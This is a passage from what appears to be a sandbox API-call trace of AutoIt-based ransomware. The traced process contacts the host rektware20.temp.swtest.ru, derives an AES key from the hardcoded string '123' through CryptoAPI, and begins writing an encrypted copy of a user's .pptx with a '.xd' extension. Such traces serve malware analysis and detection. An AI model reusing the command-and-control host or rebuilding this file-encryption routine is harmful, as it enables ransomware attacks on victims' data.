lpString1="ments\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gU-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0070.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.375] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.375] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0070.375] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.375] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0070.375] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0070.376] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.376] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0070.376] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0070.376] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c) returned 1 [0070.376] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.376] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.376] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.377] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0070.377] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0070.377] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0070.377] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0070.377] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0070.377] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.377] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.377] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.377] CloseHandle (hObject=0x0) returned 0 [0070.378] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.378] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0070.378] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0070.378] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.378] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.378] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.378] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.378] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.378] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.378] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0070.379] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.379] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.379] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0070.379] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.379] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.379] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.379] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.379] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.379] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0070.379] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0070.380] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0070.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0070.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e050, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0070.380] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0070.380] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa4d8) returned 1 [0070.381] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.381] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.381] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0070.381] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.381] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.381] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.381] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.381] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.381] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.382] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.382] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.382] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.382] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.382] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.382] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.382] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0070.382] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.382] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.382] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.382] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.382] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.382] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.382] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.382] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.383] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.383] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.383] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.383] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.383] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.383] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.383] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.383] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.383] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.383] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.383] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0070.384] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0070.384] CryptCreateHash (in: hProv=0x17aa4d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0070.384] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.384] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.384] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.388] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294b0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.388] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0070.388] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.389] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.389] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.389] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.389] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621690, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0070.389] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0070.389] CryptHashData (hHash=0x164c430, pbData=0x1629400, dwDataLen=0x3, dwFlags=0x1) returned 1 [0070.390] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.390] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.390] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.390] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.390] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.390] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.390] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.390] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0070.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621870, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0070.390] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0070.391] CryptDeriveKey (in: hProv=0x17aa4d8, Algid=0x6610, hBaseData=0x164c430, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0070.391] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.391] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.391] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.391] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.391] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.391] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.391] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0070.391] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0070.391] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0070.392] CryptDestroyHash (hHash=0x164c430) returned 1 [0070.392] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.392] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.392] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.392] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.392] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.392] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\gu-7w.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0070.392] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.392] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0070.392] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.392] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.393] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.393] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0070.393] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gU-7W.pptx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\gu-7w.pptx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 